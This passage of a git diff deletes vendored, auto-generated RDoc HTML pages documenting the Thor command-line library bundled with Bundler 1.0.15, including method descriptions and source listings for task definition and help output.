-196:       <span class="ruby-ivar">@check_unknown_options</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span>
-197:       <span class="ruby-identifier">options</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span><span class="ruby-operator">|</span>
-198:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span>
-199:           <span class="ruby-ivar">@check_unknown_options</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-constant">Array</span>(<span class="ruby-identifier">value</span>)
-200:         <span class="ruby-keyword kw">else</span>
-201:           <span class="ruby-ivar">@check_unknown_options</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">key</span>)
-202:         <span class="ruby-keyword kw">end</span>
-203:       <span class="ruby-keyword kw">end</span>
-204:       <span class="ruby-ivar">@check_unknown_options</span>
-205:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="default-task-method" class="method-detail ">
-				<a name="method-c-default_task"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">default_task</span><span
-						class="method-args">(meth=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the default task when thor is executed without an explicit task to be
-called.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">meth<Symbol></td><td><p>
-name of the defaut task
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="default-task-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 10</span>
-10:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">default_task</span>(<span class="ruby-identifier">meth</span>=<span class="ruby-keyword kw">nil</span>)
-11:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">meth</span>
-12:         <span class="ruby-keyword kw">when</span> <span class="ruby-value">:none</span>
-13:           <span class="ruby-ivar">@default_task</span> = <span class="ruby-value str">'help'</span>
-14:         <span class="ruby-keyword kw">when</span> <span class="ruby-keyword kw">nil</span>
-15:           <span class="ruby-ivar">@default_task</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:default_task</span>, <span class="ruby-value str">'help'</span>)
-16:         <span class="ruby-keyword kw">else</span>
-17:           <span class="ruby-ivar">@default_task</span> = <span class="ruby-identifier">meth</span>.<span class="ruby-identifier">to_s</span>
-18:       <span class="ruby-keyword kw">end</span>
-19:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="desc-method" class="method-detail ">
-				<a name="method-c-desc"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">desc</span><span
-						class="method-args">(usage, description, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Defines the usage and the description of the next task.
-</p>
-<h4>Parameters</h4>
-<p>
-usage<String> description<String> options<String>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="desc-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 28</span>
-28:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">desc</span>(<span class="ruby-identifier">usage</span>, <span class="ruby-identifier">description</span>, <span class="ruby-identifier">options</span>={})
-29:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>]
-30:         <span class="ruby-identifier">task</span> = <span class="ruby-identifier">find_and_refresh_task</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>])
-31:         <span class="ruby-identifier">task</span>.<span class="ruby-identifier">usage</span> = <span class="ruby-identifier">usage</span>             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">usage</span>
-32:         <span class="ruby-identifier">task</span>.<span class="ruby-identifier">description</span> = <span class="ruby-identifier">description</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">description</span>
-33:       <span class="ruby-keyword kw">else</span>
-34:         <span class="ruby-ivar">@usage</span>, <span class="ruby-ivar">@desc</span>, <span class="ruby-ivar">@hide</span> = <span class="ruby-identifier">usage</span>, <span class="ruby-identifier">description</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:hide</span>] <span class="ruby-operator">||</span> <span class="ruby-keyword kw">false</span>
-35:       <span class="ruby-keyword kw">end</span>
-36:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="help-method" class="method-detail ">
-				<a name="method-c-help"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">help</span><span
-						class="method-args">(shell, subcommand = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Prints help information for this class.
-</p>
-<h4>Parameters</h4>
-<p>
-shell<Thor::Shell>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="help-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 157</span>
-157:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">help</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-identifier">subcommand</span> = <span class="ruby-keyword kw">false</span>)
-158:       <span class="ruby-identifier">list</span> = <span class="ruby-identifier">printable_tasks</span>(<span class="ruby-keyword kw">true</span>, <span class="ruby-identifier">subcommand</span>)
-159:       <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">thor_classes_in</span>(<span class="ruby-keyword kw">self</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">klass</span><span class="ruby-operator">|</span>
-160:         <span class="ruby-identifier">list</span> <span class="ruby-operator">+=</span> <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">printable_tasks</span>(<span class="ruby-keyword kw">false</span>)
-161:       <span class="ruby-keyword kw">end</span>
-162:       <span class="ruby-identifier">list</span>.<span class="ruby-identifier">sort!</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">a</span>,<span class="ruby-identifier">b</span><span class="ruby-operator">|</span> <span class="ruby-identifier">a</span>[<span class="ruby-value">0</span>] <span class="ruby-operator">&lt;=&gt;</span> <span class="ruby-identifier">b</span>[<span class="ruby-value">0</span>] }
-163: 
-164:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-value str">&quot;Tasks:&quot;</span>
-165:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">print_table</span>(<span class="ruby-identifier">list</span>, <span class="ruby-value">:ident</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>, <span class="ruby-value">:truncate</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>)
-166:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span>
-167:       <span class="ruby-identifier">class_options_help</span>(<span class="ruby-identifier">shell</span>)
-168:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="long-desc-method" class="method-detail ">
-				<a name="method-c-long_desc"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">long_desc</span><span
-						class="method-args">(long_description, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Defines the long description of the next task.
-</p>
-<h4>Parameters</h4>
-<p>
-long description<String>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="long-desc-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 43</span>
-43:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">long_desc</span>(<span class="ruby-identifier">long_description</span>, <span class="ruby-identifier">options</span>={})
-44:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>]
-45:         <span class="ruby-identifier">task</span> = <span class="ruby-identifier">find_and_refresh_task</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>])
-46:         <span class="ruby-identifier">task</span>.<span class="ruby-identifier">long_description</span> = <span class="ruby-identifier">long_description</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">long_description</span>
-47:       <span class="ruby-keyword kw">else</span>
-48:         <span class="ruby-ivar">@long_desc</span> = <span class="ruby-identifier">long_description</span>
-49:       <span class="ruby-keyword kw">end</span>
-50:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="map-method" class="method-detail ">
-				<a name="method-c-map"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">map</span><span
-						class="method-args">(mappings=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Maps an input to a task. If you define:
-</p>
-<pre>
-  map &quot;-T&quot; =&gt; &quot;list&quot;
-</pre>
-<p>
-Running:
-</p>
-<pre>
-  thor -T
-</pre>
-<p>
-Will invoke the list task.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">Hash[String|Array => Symbol]</td><td><p>
-Maps the string or the strings in the array to the given task.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="map-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 65</span>
-65:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">map</span>(<span class="ruby-identifier">mappings</span>=<span class="ruby-keyword kw">nil</span>)
-66:       <span class="ruby-ivar">@map</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:map</span>, {})
-67: 
-68:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">mappings</span>
-69:         <span class="ruby-identifier">mappings</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span><span class="ruby-operator">|</span>
-70:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">key</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:each</span>)
-71:             <span class="ruby-identifier">key</span>.<span class="ruby-identifier">each</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">subkey</span><span class="ruby-operator">|</span> <span class="ruby-ivar">@map</span>[<span class="ruby-identifier">subkey</span>] = <span class="ruby-identifier">value</span>}
-72:           <span class="ruby-keyword kw">else</span>
-73:             <span class="ruby-ivar">@map</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-identifier">value</span>
-74:           <span class="ruby-keyword kw">end</span>
-75:         <span class="ruby-keyword kw">end</span>
-76:       <span class="ruby-keyword kw">end</span>
-77: 
-78:       <span class="ruby-ivar">@map</span>
-79:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="method-option-method" class="method-detail ">
-				<a name="method-c-method_option"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">method_option</span><span
-						class="method-args">(name, options={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Adds an option to the set of method options. If :for is given as option, it
-allows you to change the options from a previous defined task.
-</p>
-<pre>
-  def previous_task
-    # magic
-  end
-
-  method_option :foo =&gt; :bar, :for =&gt; :previous_task
-
-  def next_task
-    # magic
-  end
-</pre>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">name<Symbol></td><td><p>
-The name of the argument.
-</p>
-</td></tr>
-<tr><td valign="top">options<Hash></td><td><p>
-Described below.
-</p>
-</td></tr>
-</table>
-<h4>Options</h4>
-<p>
-:desc     - Description for the argument. :required - If the argument is
-required or not. :default  - Default value for this argument. It cannot be
-required and have default values. :aliases  - Aliases for this option.
-:type     - The type of the argument, can be :string, :hash, :array,
-:numeric or :boolean. :banner   - String to show on usage notes.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="method-option-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 119</span>
-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_option</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>={})
-120:       <span class="ruby-identifier">scope</span> = <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>]
-121:         <span class="ruby-identifier">find_and_refresh_task</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:for</span>]).<span class="ruby-identifier">options</span>
-122:       <span class="ruby-keyword kw">else</span>
-123:         <span class="ruby-identifier">method_options</span>
-124:       <span class="ruby-keyword kw">end</span>
-125: 
-126:       <span class="ruby-identifier">build_option</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>, <span class="ruby-identifier">scope</span>)
-127:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="method-options-method" class="method-detail ">
-				<a name="method-c-method_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">method_options</span><span
-						class="method-args">(options=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Declares the options for the next task to be declared.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">Hash[Symbol => Object]</td><td><p>
-The hash key is the name of the option and the value
-</p>
-</td></tr>
-</table>
-<p>
-is the type of the option. Can be :string, :array, :hash, :boolean,
-:numeric or :required (string). If you give a value, the type of the value
-is used.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="method-options-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 88</span>
-88:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_options</span>(<span class="ruby-identifier">options</span>=<span class="ruby-keyword kw">nil</span>)
-89:       <span class="ruby-ivar">@method_options</span> <span class="ruby-operator">||=</span> {}
-90:       <span class="ruby-identifier">build_options</span>(<span class="ruby-identifier">options</span>, <span class="ruby-ivar">@method_options</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>
-91:       <span class="ruby-ivar">@method_options</span>
-92:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="printable-tasks-method" class="method-detail ">
-				<a name="method-c-printable_tasks"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">printable_tasks</span><span
-						class="method-args">(all = true, subcommand = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns tasks ready to be printed.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="printable-tasks-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 171</span>
-171:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">printable_tasks</span>(<span class="ruby-identifier">all</span> = <span class="ruby-keyword kw">true</span>, <span class="ruby-identifier">subcommand</span> = <span class="ruby-keyword kw">false</span>)
-172:       (<span class="ruby-identifier">all</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">all_tasks</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">tasks</span>).<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">_</span>, <span class="ruby-identifier">task</span><span class="ruby-operator">|</span>
-173:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">task</span>.<span class="ruby-identifier">hidden?</span>
-174:         <span class="ruby-identifier">item</span> = []
-175:         <span class="ruby-identifier">item</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">banner</span>(<span class="ruby-identifier">task</span>, <span class="ruby-keyword kw">false</span>, <span class="ruby-identifier">subcommand</span>)
-176:         <span class="ruby-identifier">item</span> <span class="ruby-operator">&lt;&lt;</span> (<span class="ruby-identifier">task</span>.<span class="ruby-identifier">description</span> <span class="ruby-operator">?</span> <span class="ruby-node">&quot;# #{task.description.gsub(/\s+/m,' ')}&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-value str">&quot;&quot;</span>)
-177:         <span class="ruby-identifier">item</span>
-178:       <span class="ruby-keyword kw">end</span>.<span class="ruby-identifier">compact</span>
-179:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="subcommand-method" class="method-detail ">
-				<a name="method-c-subcommand"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">subcommand</span><span
-						class="method-args">(subcommand, subcommand_class)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="subcommand-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 185</span>
-185:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">subcommand</span>(<span class="ruby-identifier">subcommand</span>, <span class="ruby-identifier">subcommand_class</span>)
-186:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">subcommands</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">subcommand</span>.<span class="ruby-identifier">to_s</span>
-187:       <span class="ruby-identifier">subcommand_class</span>.<span class="ruby-identifier">subcommand_help</span> <span class="ruby-identifier">subcommand</span>
-188:       <span class="ruby-identifier">define_method</span>(<span class="ruby-identifier">subcommand</span>) { <span class="ruby-operator">|</span>*<span class="ruby-identifier">args</span><span class="ruby-operator">|</span> <span class="ruby-identifier">invoke</span> <span class="ruby-identifier">subcommand_class</span>, <span class="ruby-identifier">args</span> }
-189:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="subcommands-method" class="method-detail ">
-				<a name="method-c-subcommands"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">subcommands</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="subcommands-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 181</span>
-181:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">subcommands</span>
-182:       <span class="ruby-ivar">@subcommands</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:subcommands</span>, [])
-183:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="task-help-method" class="method-detail ">
-				<a name="method-c-task_help"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">task_help</span><span
-						class="method-args">(shell, task_name)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Prints help information for the given task.
-</p>
-<h4>Parameters</h4>
-<p>
-shell<Thor::Shell> task_name<String>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="task-help-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 135</span>
-135:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">task_help</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-identifier">task_name</span>)
-136:       <span class="ruby-identifier">meth</span> = <span class="ruby-identifier">normalize_task_name</span>(<span class="ruby-identifier">task_name</span>)
-137:       <span class="ruby-identifier">task</span> = <span class="ruby-identifier">all_tasks</span>[<span class="ruby-identifier">meth</span>]
-138:       <span class="ruby-identifier">handle_no_task_error</span>(<span class="ruby-identifier">meth</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">task</span>
-139: 
-140:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-value str">&quot;Usage:&quot;</span>
-141:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-node">&quot;  #{banner(task)}&quot;</span>
-142:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span>
-143:       <span class="ruby-identifier">class_options_help</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-keyword kw">nil</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">task</span>.<span class="ruby-identifier">options</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">_</span>, <span class="ruby-identifier">o</span><span class="ruby-operator">|</span> <span class="ruby-identifier">o</span> })
-144:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">task</span>.<span class="ruby-identifier">long_description</span>
-145:         <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-value str">&quot;Description:&quot;</span>
-146:         <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">print_wrapped</span>(<span class="ruby-identifier">task</span>.<span class="ruby-identifier">long_description</span>, <span class="ruby-value">:ident</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>)
-147:       <span class="ruby-keyword kw">else</span>
-148:         <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-identifier">task</span>.<span class="ruby-identifier">description</span>
-149:       <span class="ruby-keyword kw">end</span>
-150:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="protected-class-method-details" class="method-section section">
-			<h3 class="section-header">Protected Class Methods</h3>
-
-		
-			<div id="banner-method" class="method-detail ">
-				<a name="method-c-banner"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">banner</span><span
-						class="method-args">(task, namespace = nil, subcommand = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-The banner for this class. You can customize it if you are invoking the
-thor class by another ways which is not the Thor::Runner. It receives the
-task that is going to be invoked and a boolean which indicates if the
-namespace should be displayed as arguments.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="banner-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 254</span>
-254:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">banner</span>(<span class="ruby-identifier">task</span>, <span class="ruby-identifier">namespace</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">subcommand</span> = <span class="ruby-keyword kw">false</span>)
-255:         <span class="ruby-identifier">base</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">$0</span>).<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot; &quot;</span>).<span class="ruby-identifier">first</span>
-256:         <span class="ruby-node">&quot;#{base} #{task.formatted_usage(self, $thor_runner, subcommand)}&quot;</span>
-257:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="subcommand-help-method" class="method-detail ">
-				<a name="method-c-subcommand_help"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">subcommand_help</span><span
-						class="method-args">(cmd)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="subcommand-help-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 302</span>
-302:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">subcommand_help</span>(<span class="ruby-identifier">cmd</span>)
-303:         <span class="ruby-identifier">desc</span> <span class="ruby-value str">&quot;help [COMMAND]&quot;</span>, <span class="ruby-value str">&quot;Describe subcommands or one specific subcommand&quot;</span>
-304:         <span class="ruby-identifier">class_eval</span> <span class="ruby-value str">          def help(task = nil, subcommand = true); super; end</span>
-305:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="help-method" class="method-detail ">
-				<a name="method-i-help"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">help</span><span
-						class="method-args">(task = nil, subcommand = false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="help-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor.rb, line 316</span>
-316:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">help</span>(<span class="ruby-identifier">task</span> = <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">subcommand</span> = <span class="ruby-keyword kw">false</span>)
-317:     <span class="ruby-identifier">task</span> <span class="ruby-operator">?</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">task_help</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-identifier">task</span>) <span class="ruby-operator">:</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">help</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-identifier">subcommand</span>)
-318:   <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions.html
deleted file mode 100644
index 6d3d79f6..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions.html
+++ /dev/null
@@ -1,1965 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Thor::Actions</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions/create_file_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/create_file.rb">lib/bundler/vendor/thor/actions/create_file.rb</a></li>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions/directory_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/directory.rb">lib/bundler/vendor/thor/actions/directory.rb</a></li>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions/empty_directory_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/empty_directory.rb">lib/bundler/vendor/thor/actions/empty_directory.rb</a></li>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions/file_manipulation_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/file_manipulation.rb">lib/bundler/vendor/thor/actions/file_manipulation.rb</a></li>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions/inject_into_file_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/inject_into_file.rb">lib/bundler/vendor/thor/actions/inject_into_file.rb</a></li>
-					
-						<li><a href="../lib/bundler/vendor/thor/actions_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions.rb">lib/bundler/vendor/thor/actions.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">MODULE</span> <a href="Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Actions/CreateFile.html">Thor::Actions::CreateFile</a></li>
-					
